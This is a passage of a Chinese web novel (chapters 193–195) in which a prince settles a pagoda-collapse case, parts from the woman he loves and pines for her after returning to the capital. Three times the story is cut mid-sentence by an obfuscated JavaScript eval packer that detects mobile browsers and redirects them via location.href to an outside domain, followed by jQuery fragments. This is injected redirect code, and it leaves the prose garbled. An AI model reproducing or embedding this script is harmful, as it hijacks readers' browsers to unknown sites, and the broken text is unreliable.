有没有做手脚、有没有证据,这在那些当官的人看来都不是最主要的。梁风擦擦她嘴角的包子油渍,“不管徐礼有没有做手脚,这件事之后你能不能让徐礼搬出你家?非亲非故还和你住在一起。”脸皮太厚。 金絮立刻摇头,“徐礼如果搬出去,我有时也不在的话,柔竹就一个人住了,我不放心。” 这倒是,徐礼还有点用。梁风不说什么了,后面再想办法。 下车时,金絮道:“大概到九月,我若无事便去找你。” 梁风以为听错了。 “我要拿回温柔馆的钱。”她道。 “那可好。” 梁风开心,“我在王府等你。” 193. 回京 心情大起大落,梁风愉快道:“不如你上京前写信给我,我派马车去接你。” “别。” 梁风已经筹划起来了,“你到了京城后住在王府吗?” “不。”她道:“我可以和水夭她们住。” 梁风心里窃喜,她有上京后的详细打算,说明她这话不是说来哄他的,梁风大大一嘻。 残塔现场已停有郡府车轿,主簿功曹正带人搜证,向梁风展示祈福塔内部构造图纸并做讲解。 顶梁柱断了导致塔塌,现已截取顶梁柱一截残木供木匠检验。 梁风和主簿功曹还有郡府查案官员一块围着老木匠。老木匠看起来压力很大。 老木匠哆哆嗦嗦地道:“寻......寻常木头在水里泡个三五年都不会......不会朽成这样,何况是南阳木,这、这是喷了药。” 梁风暗道好,向主簿功曹道:“南阳木虽不算贵木,却也不便宜,徐礼募得的银子最多只足购置这一根南阳木的,其余建塔所需应是他从别处外借。希望大人能秉持公正,廉洁查案。” 这就没法说徐礼贪了捐款或是募捐书有假了。 “最好查一下被压死的三人。”梁风再道。接着便带她离开,剩下的关键就是徐礼审问之后的口供了。 主簿功曹应是。 这么简单就被证破。梁风寻思道:“这针对我的手段未免太过粗糙,大概是我多想了。” 金絮仍皱着眉,“我不希望你为徐礼背责。” “好,那就不背。”梁风嘻嘻,“说说你上京的事呗。” “我到京城可能会住两天。”金絮当真如他愿说起来,“水夭她们一直没有写信给我,估计是生意太忙忘记了,我去了之后大约会帮她们几天忙。” 她道:“如果她们太缺人手,我有点想让柔竹也住到温记去,一块做生意,不要待在太南了。至于徐礼......”金絮挠挠头,“等他出狱看他怎么想吧。” “那你呢?”如果柔竹也不在太南了,那她还有必要独自留在太南么。 “我?”她想了想道:“我应该会去找丽姬。” 她笑笑,“四处走走,丽姬从前说想去大漠来着。太南的宅子就留在那儿,方便我回来随时有地方住。至于危险么,无所谓啦。” 温柔馆退回的钱对她来讲很重要。梁风不说话,这规划里没有他。 “你呢?”她问。 “我?我不知道。”梁风愣住了。 他急急道:“我日后的规划里全是你。” 金絮摇头,“你日后的规划里不会有我。” 笃定的语气梁风不想听,他拽着近乎于钳制着她的手臂,一只手捏手腕,一只手抓手肘,紧紧贴着她。 金絮不收手,由他抓着。 她一向在无关紧要的方面很随性,但到了触及原则的事情上从不会惯着他。 梁风抓得更紧。 十三忽然现身,说:“姑娘,有人闯入了您家中。” “我家?” 梁风赶忙掀帘一看,她家大门被砸了。 赶紧和她进屋,屋内被翻成一片狼藉,明显被人翻找物品洗劫过。 “徐礼的债主找上门了?”梁风猜测。 “柔竹!”金絮大喊。 最后在厨房的柴火堆里找到小姑娘。柔竹看见她立刻哭了出来。 她的眼睛里也有泪光,梁风刚想开口,金絮就把他往门外推。 “你需要金子。” “我的家事你不用管。” 梁风眼睁睁看着自己被她推出来,看着她毫不留情把破碎的大门捡起来盖上。 她总是在与钱相关的事情上不愿意找他帮忙,不过柔竹人没事就好。 梁风没再进去,找工匠给她换了扇新大门,配了一把一臂粗的铁链门锁。 这种门锁也就防得住君子。梁风看了看他轻松一跳就能翻过去的土墙头,留了一大袋碎金子和一枚取钱令给十三,让十三作为她的备用金库。 入夜前,徐礼的口供审出来了,交了一份手抄本给梁风。 随口供来的还有一份皇帝的手信。皇帝催促他回京,还说再不回京就下圣旨召回了。 梁风把皇帝的信放一边,看徐礼的口供。 徐礼说他当年募不到足够的捐资便四处借钱,还说捐资太少显不出才干,因此借了很大一笔钱。募捐书上面签了名的人有几个就是徐礼的债主。 但徐礼无论如何都不承认祈福塔塌毁与他有关,只说是意外,说自己从前没有建塔经历,不知道建塔用什么样的木材最好,不知道南阳木是隔两年就会断的。 梁风隔日再赴郡府。 案子有进展,主簿功曹道:“建塔之前,南阳木运输路上不慎沾及一种菌液,长久不祛会有腐蚀效果。顶梁柱外表涂了金漆,始终未被人发现。过了两年,顶柱内部已腐蚀严重。” 梁风看过文书,道:“你查查祈福塔第一次塌毁是什么原因。” 他合书再问:“一里外的堤坝查得怎样了?” “堤坝那案子查得差不多了。王爷如有需要,下官可命人将案子结文手抄一份送您府上。” “不用。”梁风亲自过去。 他去到关押贾镇的牢狱,见到与一群人关在同一间牢房的贾镇。贾镇全身完好。 堤坝只毁了粮食,没有人员伤亡,与案子相关的人都不会判死刑。若是寻常百姓最多罚一罚,关个一年半载,若是商户则是坐牢且往后数年交纳的税额上涨。罚得都并不重。 梁风点了点贾镇,狱卒拖贾镇出来。 “这世道不好,有权有势的人的确不能得罪。”梁风道。 他一脚踹向贾镇胸口,踹断几根骨头。 “打断他一条腿,让他出狱后这辈子再不能离开并阳郡。” 贾镇躺在地上爬不起来。狱卒出手砸断贾镇一条腿。 “五日内不许找大夫给他医治。” 刑罚不够重,他不能把人杀死,传出去容易引起百姓惶恐。贾镇断了腿再也做不成行商,并阳郡的产业定会被其他商户瓜分。五日内不能医治,能不能活就看命了。 又过一日,主簿功曹说安分王殿下指点的方向极妙,祈福塔案子的关键在于首次建成的时候,似乎与在京城的柳大人有关。顺着徐礼当年捐资人的线索查,查到这些人背后似乎都是柳大人,现郡府需与京城的柳大人通信。 梁风知道后不多管,让他们自己查,他去牢里看了看徐礼。 他没现身,隔远了简单看一眼。徐礼一副受狱刑折磨的憔悴模样,梁风有些犹豫,最后还是打发人送去改善后的饭食。 主簿功曹与柳大人通信一来一回,接着便有人告诉梁风,案子查完了,徐礼可以出狱了。 梁风再次去了郡府,查看过与案子相关的所有文书。 案子的结果是,在太南成为漕运枢纽的那年,朝廷赏了那颗夜明珠,柳宇宁调用公库为这颗夜明珠建造祈福塔,那笔银子的大部分被柳宇宁贪了,最后建成的祈福塔脆弱不堪,不到一年便坍塌,压死了十几人。 柳宇宁未将此事上报朝廷,后徐礼主动出言为新建祈福塔募资,柳宇宁便抹除祈福塔曾压死过十来个人的事情,将全部建塔责任迁到徐礼身上。最后徐礼募得的购置南阳木的捐资,大部分是柳宇宁私下借旁人名义捐给徐礼的。 梁风全部看完,松了口气。不是针对他的,自然不是针对他的。 主簿功曹还呈给梁风一道圣旨。 皇帝召他回京了。命他必须两日后回京。 他要走了,他想和金絮告别。 翻过她的墙头,梁风告诉她可以去把徐礼接出来了。 “我也要回京了。” “什么时候?” “后日。” 梁风殷殷看着她。 “那我后日去找你。” 梁风捏捏她的手,“好。” 后日,梁风把和光府前前后后所有的门全都锁上。 他一早坐在院子里等。 老李已经收拾好了行李和马车,随时准备出发。 按约定的时辰,近午时,府外大树上的暗卫打信号,说她来了。 梁风精神一振,凑去门前,耳朵贴住大门。门外马蹄嘚嘚,停下了。 窸窣下车声,敲门声响起。 梁风贴着门缝道:“谁啊?”他做作地停顿片刻再道:“是不是我将来规划里的人来找我啊?” 门外静默片刻,接着她道:“不是。” 梁风往门缝里巴望,看不见她,难以判断她的神情。 “不是就不许进吗?”她问。 他的嘴贴着门缝,把声音传出去,“进了就是了。” 外面静悄悄,梁风不开门。过了一会她说:“好吧,那我走了。” 外头没了声音,梁风等了等,还是没动静。 梁风不由得急了,冲树上暗卫打手势,问她是不是走了? 暗卫回了个平稳的手势,说她还在外面。 他接着听见府墙外发出磕磕碰碰的声响,接着看见墙头搭了个木头梯子。 再接着,金絮顺梯子爬上墙头。 “围墙防君子不防小人。”她冲门里头喊。 梁风心惊胆战看着她,“小心跌下来!” 心惊盖过胆战,她竟然翻了他的墙头,不在规划内,但她进来了。 “我们这下公平了。”她又喊:“你翻我的墙头,我也翻你的墙头。” 她扯扯被自己压住的裙摆,颤颤巍巍。她本想顺势往下跳,一看地面,脸上的神情顿住了。 梁风忙张开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839928|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双手接着,她便纵身一跳,梁风抱了个满怀。 金絮在他怀中平安落地,笑道:“我是小人。” “你才不是小人。” “你看你多高我多高,我不是小人是什么。”她比划。 梁风开心地笑,牵着她的手晃晃晃,一起往厨房走去,“我们一起做顿饭吃。” 他也要在油烟气里和她像她和柔竹一样那么近。 “快一点做,我要饿死了。” “不许说死字。” “我要饿坏了。” 灶台开火,她先吃了一碟拌牛肉垫肚子,梁风和她一起揉面团做饺子。 “徐礼欠的钱还清了?”他问。 “还清了。” “你需要钱的话就和我说。” “嗯。” 梁风和她把祈福塔的案子前后说了一遍,道:“徐礼往后是做不成官了,你希望他在仕途一直走下去么?” “看他自己意愿吧,总之以后你是不要再帮他了,路让他自己走。” 她下巴沾着一团面粉,梁风想帮她擦掉,一擦,沾的面粉更多了。 梁风收了手,“你因为温柔馆前一任馆主才照顾徐礼,照顾了这几年也算义气了。” 梁风看看手里的擀面杖,对徐礼肆意评价:“这个人没什么才能,但野心不小,我不放心他跟在你身边。本就只比你小了三、四岁,这个年纪也该分出去成家了,哪还能与你住在一处。” “嗯。”金絮点头,“我和他说说。” 意外地依顺。梁风想起刚才她坐在墙头的样子,心里美滋滋,“已经到七月,距离九月也没有两个月了,我等你哦。” “嗯。” “你可别忘记我了。” “忘不了。” 梁风得意了,了不起了,有人撑腰了。 李婶对他们擀饺子皮的手法指指点点。 于是他的饺子做差了。 梁风看着金絮把那一个个面皮发硬的饺子吃下去,她神色自然,仿佛吃的是美食。 “下回我做好吃的给你。” “嗯。”金絮吃完一盘饺子。 饭后,梁风想和她散散步,李晟却揖道:“王爷,时辰不早了,该出发了。” 她便道:“行了,回去吧。” 梁风不想回,“我还有话没说完呢。” 他慢吞吞,一点点挪去停着马车的地方。 “你在京城过得不开心,我自然是希望你能待在会让你开心的地方。但前提是,你在太南必须能开心才行。” “我会开心。”金絮看着他上车。 梁风久久不进车里,还有句话想和她说。 金絮道:“回去吧。我不会喜欢林童忆,在我这里你永远不一样。” 他被戳中心脏,哪怕要走了心里也不受控地一喜。 “说好了哦。” “说好了。” 梁风进车,马车立即发动起来。 金絮留在原地目送,梁风掀开车帘探头看,她的身影越来越小。 他想过偷偷给她多留一个暗卫,瞒着她的。十三听她命令,会和她串通,有的事情或许不会告诉他。 但是不行,他得和林童忆不一样。他的行为可不是监视。 她还清徐礼的外债,肯定正缺钱呢,林童忆没那么富裕,金钱方面帮不了她什么。 她身边最重要的人还是他。 这么想着,梁风一言不发地出了城门。 车外景色逐渐变成山林与旷野,梁风想到和她一起在外的八个月。 随即想到帮不帮得上倒还是其次,钱是可以赚来的,最关键的是陪伴,是她在遇到困难时有人能陪伴她。他到了京城就没法陪伴她了,林童忆反而比他自由。 梁风的心脏如同在战场对敌般凛冽起来。 同在车内的老李突然道:“王爷,头发怎么束起来了?” 梁风挥军千万的战斗被打断,下意识摸头发,摸到一条陌生的发带。 他解下发带,是一条蓝白布条交缠编织而成的发带,蒙了一层薄薄的面粉,崭新。 “是金姑娘送您的吧。”老李笑笑。 梁风一下子开心起来,将发带缠在左手手腕,随时能够看见。这可是林童忆没有的东西,嘿嘿。他轻轻松松直取敌方首级。 慢悠悠地走,行了接近三日。 靠着这条发带,梁风把这三日熬过了。 京门近在眼前,老李提交王府令牌给城门守卫,顺利地通关放行。 穿过城门,天色骤然变黑。层层乌云迅疾地遮空蔽日,阴凉的气息从天而降,轰隆雷声压顶,似要下雨。 梁风眼看这一变化,道:“变天了。” 李晟闻言抬头看,烈阳骄阳下,街道投映出一片浓浓的影子。 194. 后遗症 老李守家将王府照顾得很好,与他走时没有区别。 回到王府的一刻,梁风就不知道该干什么了。 李晟指挥下人收拾行李,梁风被老李安排着洗了个澡,洗完澡吃了个饭,吃完饭坐在桌案前回复几封信函。 信函全是他刚离京头一个月寄来王府的,那时外面没几个人知道他离京,信便寄到了王府。都不是熟人,写的也不是要紧事,全是些问候之类的,问他去了哪里,要干什么。 洗澡、吃饭、回函,接着没了事情。梁风身边看不见老李,他又找过去,问:“然后我要干什么?” 没了,李晟说他可以做自己的事情了。 他自己的事情。 什么事情? 时辰还没到傍晚,梁风站在屋檐下看着天空思索自己到底应该干什么。 他是从太南来的,要回到太南去的,这时在京城路过。那么他在京城应该干什么?他应该干什么? 他是谁?他是安分王。一个诸侯王在京城要干什么? 金絮这个时候在干什么?他可以和她做一样的事情。她这时在干什么? 他是梁风,梁风在京城要干什么? 他到底应该干什么? 天色转黑,宵禁的街鼓穿街而过,思索中的梁风迈步离开,知道今天的自己终于没有机会出门了。砖石地面上留下了两个脚印。 熄灯躺床上,梁风呆呆看着天花板,忽然听见屋外风雪呼啸,他下意识看向枕侧,空荡荡的床畔连只另一个枕头都没有。 他起身翻箱倒柜,哐啷哐啷的声响惊动老李。老李打着油灯找来,一点火光照亮卧房细微的角落。 梁风急了,“阿絮的枕头呢?” 老李眨眨眼,过了片刻一拍额头,“哦,我给忘了。” 老李去别屋翻箱倒柜,拿来一只短窄的枕头,“这儿呢。”递给他,“这样的枕头女子好睡。” 梁风把自己的枕头挪一挪,腾出位置摆她的。这一晚安心地睡着了。 醒来梁风被老李安排着吃饭,然后,然后没有安排事情。 梁风走到庭院里,躺在一张长条的石桌上,呆呆地看着天空。 不是看天空,是看遮蔽天空的乌云,阴沉沉的头顶的东西遮蔽了阳光。 不刺眼,梁风呆呆看着,看到老李又来安排他吃饭。 “我真的没有事情干吗?”梁风疑惑:“好像有什么事情是需要我干的。” “好,那您仔细想想。”老李又忙自己的事去了。 梁风找着事情了,看树。 “王府的树长高了。” 七百零八棵树,确认这个数目的一刻街鼓蹿过街道,他于是知道今天的自己终于没有机会出门了。 梁风睡觉,梦见金絮。她的脸出现的一瞬,他突然惊醒,不受控地弹坐起来,心脏跳动比夜晚的风雪呼啸声还要大。 他坐了一刻,躺回去继续睡。醒来发现和床边的距离远了。 没睡醒便被老李安排着吃饭,梁风顺顺利利吃完,到院子里继续躺在石桌上睡觉。 这两日天空阴云密布,让他总以为要下雨,雨始终未下来。 睡不着,梁风睁着眼和天空对视,直到街鼓溜过全街。 晚上他再次梦到金絮,金絮坐在他旁边,听他说着什么。她的梦境结束梁风便醒了。一醒来,心脏跳得过快产生疼痛,他陪同心悸躺下继续睡。 又梦见她,她对她回话了,说的什么没听清,他想问却睁了眼。 睁眼产生瞬间的窒息,他弹了一下没坐起来,用手掌按着胸口,想压慢心跳。耳边有老李说话,老李安排他吃饭。 梁风随着老李去吃饭。 吃完饭,石桌突然立起来,飞起来,飞到他的后背贴住,梁风见到她。 她说森林里有好果子吃,她说她在书上看到过的。他问如果吃错了闹肚子怎么办?她说如果吃错了,也就是酸得吃不下去而已,不会闹肚子,入口第一下就吐出来了。 梁风睁眼,疼得想把桌子锤烂,接着又见到她。 她走累了,和她一起坐马上并列而行。她腿疼,伸出一条腿让他揉。她一边吃着果子,一边享受。梁风觉得嘴里很酸。 睁开眼,老李来安排他吃饭,梁风迷迷瞪瞪中看见她的枕头被睡塌了。 天空始终阴沉沉的,老李安排他说少睡点。梁风听从老李安排,老李是在给他找事情干。 他看见金絮。但是没看见她,她被什么东西遮着,他听见细细的水声。 有人想摸他的手,梁风拍手打开,一细看,眼前是李婶。 梁风从地上爬起来,摸摸自己道:“渴了。” 喝了李婶端来的水,梁风见到金絮。 她和他走在一片树林里,牵着手。他说:“旦白山离这不远。”“那我们去看看么,我没去过旦白山。”他说:“可以啊,现在去还是什么时候去?”“‘什么时候’是能等到什么时候?”他本能想说回程,但是意外发现说不出这两个字。这两个字仿佛从世间消失了,不容于世,他是此世唯一一个认得这两个字的人,说出来别人都不懂什么意思。她说:“那就现在去好了,想去哪里去哪里嘛。” 梁风睁眼,床边坐着与義。 梁风眨眼,没睡醒地坐起来。耳边残留的声响缓缓褪去,梁风看见与義手里的陶响球。 “皇叔真是煞费苦心,瞒着你的侄儿自己偷偷溜出去玩,现在回来了居然不知道要来和你宝贵的侄儿分享途中见闻,皇叔真是好狠的心!” 与義痛心疾首,死死捏着陶响球。 梁风怔怔的,脑子还在梦里,头很重,身体感觉很轻盈。 “......旦白山。”他道:“旦白山风景秀丽,四季如春,是个赏景的好去处。” 与義活见鬼的表情,“那苦寒之地的旦白山我在书上见过,怎么可能四季如春,鸟不拉屎赏个什么景?” 梁风还在怔着,回想梦里不知道见没见过的旦白山,肯定和她一起幻想过。 与義悄兮兮地凑过来,“皇叔不想知道这几月京城里发生了什么?” 梁风被安排问话,梁风问:“发生了什么?” 与義还是疾首痛心,“太子始终未定啊。” 梁风沉默,过了片刻又许久,听进去了。 他回过神,看向与義的脸。 与義拎来摆在梁风床头的一串葡萄,边嚼边道:“我如今可比你自在,我可以随意出入宫禁,在京城里四处去玩也没人说我。” 梁风喝了杯热水,终于缓过神,道:“我也可以在京城四处玩。” 他想起来上了京后皇帝就没了动作,便问:“朝中大臣支持与棣的比较多吧?” “是啊。” “有没有支持你的?” 与義立即贼兮兮地看过来,凑近梁风,压低声音:“没有。” 没有。没有的话太子却始终未定?皇帝在犹豫什么? 梁风略思索,脑仁抽抽,直接问:“陛下在犹豫什么?” “不知道,我不猜。”与義吃完了一串葡萄。 “你是打算走我的老路?” “你的老路我走不了,我这辈子不去打仗。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839929|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “除了太子未定,没有别的事了?” 梁风翻身下床,衣服隐约有股药味,睡着之前的事情记不太清了。 “没有了吧。”与義寻思道:“皇叔离京太过突然,你刚走的时候倒是有些官员在猜测你离京的缘由。” “怎么猜的?” “有说陛下明面上派许义一人出使赈灾,但实际暗中有皇叔监督,确认赈灾钱粮款数是否全数落实到位。不知道的人把钱贪了就死定了。这次许义赈灾十分顺利也是背地里沾了皇叔的光。也有说皇叔是沉溺美色,和女子逍遥去了。” 梁风穿衣服,“我离京的时候灾情都没发生,赈什么灾。” 与義耸肩,“直到父皇出面解释,说皇叔是去游山玩水了,这些议论才歇下去。” “我就是去游山玩水啊。” 话音刚落,眼前人忽然变成金絮,梁风下意识拉住她的手腕。 与義的手腕被拉起来,反手拽住他往大门走,“敬先兄的宝宝你回来后去看过了没有?都一岁多了,年初就会走路了。” 声音一响金絮就消失了,梁风被拽去崔府。 崔府热闹,人比王府多许多,阴沉沉黑压压的天空下也比王府显出满满的鲜活。 随着小厮带去崔府后花园,梁风刚进园子就听见一阵宝宝啼哭,混着敬先的训斥:“男子汉大丈夫,你给我自强起来,少哭点!” 与義拽着梁风循声往花丛里走,在一片树下的草地看见坐在地上的敬先和两步外四肢着地的小孩,小孩四周散着扯烂的花瓣。 “这是咋了?”与義当即凑去摸宝宝,“摔了?哟哟哟,不哭不哭。” “你别!让他自己起来,你别插手。”敬先拦道:“摔个跤多大点事,让他自己爬起来。” “哦,那你自己爬起来。”与義听大人的话收了手。 或许被注视的目光多了,小孩眨巴眨巴眼,瘪着嘴不哭了,含着的豆大的眼泪珠子能吞噬眼睛。他往前爬了一步想抓一片花瓣,但是手短够不到。梁风捡起那片花瓣递给他。 宝宝接了花瓣看了眼梁风,很快地爬起来,跑去敬先怀里。 敬先擦去小孩脸上的眼泪,抱怨道:“这小子被他娘养得太黏人了,动不动就哭,一哭就往人怀里钻,有什么好哭的。” “黏人?”梁风听见一个新词。 “小孩么,不都是爱哭的。”与義席地而坐,“他如果不爱哭,你就得着急找大夫给他看看了。” 梁风一块就地坐下,敬先向梁风上下打量道:“我上王府找过你,老李说你在睡觉,我就走了。出去玩一趟回来闹得身子挺虚啊,你这是睡了多久?” 梁风懒得理。他在看孩子,那小孩趴在敬先膝盖上又要往草地里探。 “消停点吧,祖宗!”敬先受不了了,一掌擎住宝宝双手。小孩瘪瘪嘴,又要哭了。 “老李也和我说让你少睡点。”与義也道。 梁风懒得理,看小孩问:“是不是饿了?” 他们仨凑一起很多事情不能聊,朝堂有关的最好别聊,京城里的事情最好也别聊,还是聊孩子吧。软软的孩子象征着和平。 “怎可能会饿,你不知道他有多能吃,吃得多又不长个儿!”敬先喋喋不休。 梁风看着小孩皱起来威胁大人要哭的脸,后知后觉反应过来,那大半年和她在一起的日子居然是他往后独自回忆的时光了。 独自独自。 “我看着也奇怪,他个子是不是矮了点?”与義拿两指比照孩子捏了捏。 “听见没有?”敬先望子成龙道:“你可得给我长高点!” 195. 《红叶书》(一一五) 小孩又哭了。 梁风有点感受到孩子爱哭的性子了,他见敬先忍着火,便将小孩搂过来。 他端着小孩两掖,小心地抱过来,轻盈柔软的触感很像他记忆中抱这孩子还在襁褓中的感觉,不过没那么脆弱,多少结实了一点。 小孩能够两脚定定地站立着。 “你很黏人啊?”他问小孩。 小孩抽抽搭搭,控制不住眼泪,手里还捏着那朵烂花。梁风捡了一朵完整的花替换那朵烂花,小孩很认真地接过。 “想玩就去玩吧。”梁风把孩子放生。 “你接下来有什么打算?”敬先问他。 “你接下来有什么打算?”梁风问与義。 “吃吃喝喝玩玩,得空干些父皇安排的事务,估计过个两年就娶妻了。”与義也捡花逗孩子。 “娶妻好啊。娶了妻,生了孩子,就把心思放在顾家上了。”敬先看着梁风道。 “你出去这几月,遇见合眼缘的人没有?”敬先问。 “没有。” 与義也道:“没有吧,我听朝中大臣说,皇叔这一路身边不是跟着位女子。” 敬先视线看过来,“有吗?” 金絮果然没有逃开京城的视线。梁风点头,“有。” “人呢?” “她没和我一起上京。” “什么样的人啊?” 什么样的人。梁风记得离开并阳郡前,金絮和并阳郡守的夫人聊过一次,他忘了问问她,她当时和并阳郡守夫人谈了些什么。并阳郡守夫人对她的问话肯定是有目的的。 梁风想了半天,最后说:“我刚到太南的时候,碰巧听见她说想去并阳郡,她不知道路线正在四处打探。而我也想去,正好顺路就一起了。” 敬先皱眉,半信半疑。 这样的说法缺乏细节,梁风想暂先抛出这种说法,传开之后如果还有人想细打听,他再说金絮是风尘出身,那么还想深入打听的人也就不会多问了。 他总觉得,按他交出兵权后便整日浸泡在秦楼楚馆的作风,所有目光往他这打量的人都该觉得会出现在他身边的女人都是风尘出身的才对,不应该打听那么多。 “与義打算娶什么样的妻子?”梁风问。 “你还操心他?如今可多的是人惦记七皇子妃的位子。”敬先凉凉道:“挑看起来还得想想是否当得起皇后......” “嘘!!!”与義赶忙捂嘴,“你快别说了。” 敬先窃笑,宝宝坐在敬先的膝盖上一块拍手。 梁风道:“你也才及冠,不用急,等个一段时候看看会不会遇上自己喜欢的。” 敬先拍拍梁风肩膀,对与義道:“长辈的意见可堪一听。” “可是如果我喜欢的人不喜欢我怎么办?”与義问了个好问题。 “那就吃点爱情的苦头咯。”敬先道:“如果遇不上喜欢的,那就选个最合适的,成了亲之后就喜欢这个最合适的。” “这样么。” 敬先拍拍胸口,“当爹的意见可堪一听。” 宝宝将手里的小花递给敬先,花从树上落下来已经有些枯萎,敬先接了过来,转手递给身后仆从,仆从收进一只小木盒里。 从崔府离开,梁风问:“接下来见谁?” “皇叔还有什么人要见?” “没了?” 与義眨眨眼,梁风便道:“那我回府去了。” “好吧,那我也回去了。”与義道:“皇叔平日里无事可干可以来找我,我那府中琴棋书画、马场剑场箭场、蹴鞠斗蛐蛐儿,还有一艘画舫,什么都可玩儿的。” 梁风想说这样的皇子府还是皇子府吗,不过他应道:“行,我知道了。” 与義拍拍他的肩膀,折扇一展,把自己往街头一摆,给往来姑娘们相看去了。 梁风回到府中,老李已经准备好了饭菜。 他兴冲冲地吃饭,吃完饭兴冲冲地洗澡,洗完澡兴冲冲地躺床上,兴冲冲地闭眼。 细微的熄烛滋响后房间里暗下来,门口的李晟看着床榻上躺得平平正正的人形,脑袋一垂,走出回身关了房门。 “我就问你给不给!” “不给!”梁风指着河道:“我就站这儿了,你有本事你当我面下河。” 金絮气急败坏瞪着他。 她看了看风吹起皱的河面,月亮下粼粼波光闪耀山间天地,她一哼,当即开始脱衣服。 梁风微微睁眼,她脱得气极,一边脱一边往河里走去—— 嗒嗒嗒地踩到河流中心,金絮看着才没脚背的河水,嚷道:“换一条河,我要换条深的!” 她回了岸,梁风还得伺候她把鞋烤干,赶紧道:“把鞋脱了,躺睡袋里去,今天不许洗澡!” 她更重地一哼,踢脚把鞋踹了,光脚踩着草地里的石子钻进睡袋,还要嚷道:“我不洗你也不许洗,等下一回到城里,我也给你买个牛皮袋子,你也钻袋子洗澡去,我们要公平。” 梁风挨只捡起她的鞋子,“好好好,公平公平。” 将她的鞋靠近火堆摆着,梁风向她看一眼,又道:“离火堆远点,小心燎了你的头发。” 金絮拨拨头发,身子一扭,背对他,不理他了。 她睡得快,每次赶路走得累她都入睡很快。梁风等她睡着了,抱她远离火堆,再和她脑袋对脑袋地睡着。 走两日便进了城,金絮果真给他也买了个牛皮袋子,比她的还要大上一圈。 梁风依她言尝试洗了一次。确实忒麻烦,也不知道是他洗澡还是这个牛皮袋子洗他,感觉洗个澡能褪掉一层皮。 “你是故意的,我给你买的袋子涂了一层油还加了一层棉布,你给我买的这个糙手得很。”梁风给她看自己的胳膊肘,被粗糙的牛皮袋子磨破了。 金絮勉为其难地看了眼他的胳膊肘,“你想说你是细皮嫩肉的?” “那倒不是。”总之他是想说,牛皮袋子是可以忍受的。 一转眼,金絮又在边脱衣服边下河了。 河水深深,像张嘴吞噬她的山崖—— 梁风睁眼,心脏在睁眼瞬间的悸痛能疼出冷汗。 他知道为什么心脏痛,因为梦里见到真实的她,醒来却是假的。心脏无法接受,跟他造反。 只要接受她确实不在身边的事实,一刻钟左右心脏也就慢慢不痛了。 梁风爬起来穿衣服,外面天黑着,不饿。算算时辰,他好像睡了一天。 梁风写信给她。一口气写了好几封,每封都叮嘱她要回信。天亮了寄出去。 寄完信他去街边早点铺子吃早饭,想起来有个事情还没做,前几天隐约记着要做却忘了的事情。 他往来福街去。 温柔馆还被封着,大门的封条换了几次,整个馆没有人接手。梁风想起温柔馆从前门庭若市的景象。 不过他不是来念旧的。梁风沿着来福街两侧寻找林童忆的布行。 然而找了一遍没看见任何一家布行。 梁风回头又走了一遍。别说林氏了,随便一家布行都没看见。 难道—— 林童忆并不是关停生意,而是彻底卖掉店铺,住在太南了? 心脏险些停跳了,这个念头简直太吓人。 梁风赶紧叫来暗卫,细查林氏布行。 之前在太南的时候,十三不好打听京城的事情,当时老大虽然在京,但老大不受直接命令,或许调查存在疏漏。 肯定存在疏漏。林童忆的生意为了不受温柔馆名声波及,肯定换地址了。 梁风不停地给她写信。 然而没有一封回信。一连寄了两天,没有一封回信。 梁风呆滞了,坐在石桌上呆呆看着憋雨憋得辛苦的天空。 他想往后倒,撞到了老李。李晟不知何时和他一块坐在桌子上,占了他的位置。 “她给我写的信呢?她为什么不给我写信?” “她肯定写了信给我,信去哪儿了?路上丢了?” “可是我寄了很多信,她应当也回寄了很多封,不可能全丢了。” “而且我给十三也写了信,十三也没有回信。” 老李捋须缓缓,冷静道:“王爷再等等吧,说不定过两天就有了。” 然而两天过后,还是没有来信。 老大送来调查结果,说林氏布行倒闭了。 林布不是因为生意不好才倒闭,而是被人整没的。早在去年,林布因为一张泰安侯府世子妃的单子,被与林布竞争的同行搞没了。林童忆这个同行叫薛柴,家底殷实,是京城有名的富户,且有个女儿是游照同第三子的妾,林童忆确实惹不起。林布倒闭后,林童忆才动身去太南。 梁风傻眼了。那林童忆岂不是和金絮是“同是天涯沦落人”? 岂不是惺惺相惜、同病相怜、执手相看泪眼?梁风简直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839930|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能呼吸。 “让十三回信!让十三快回信!” 梁风吩咐老大道:“你赶紧去一趟太南,我要知道她的现状。” 老大正要应声,李婶下了石桌抢先道:“王爷,还有个法子。” “什么?” “您还记不记得金姑娘身边那些小姑娘在京也开了间铺子,她们说不定知道金姑娘的消息。” 梁风猛地想起来了,她说过,她来了京城是会和那些小姑娘住在一起的。 那地方,在哪儿来着。在河边。他还记得,那是她离京前最后一次见她的地方。 梁风骑马寻去,沿着城内河找。 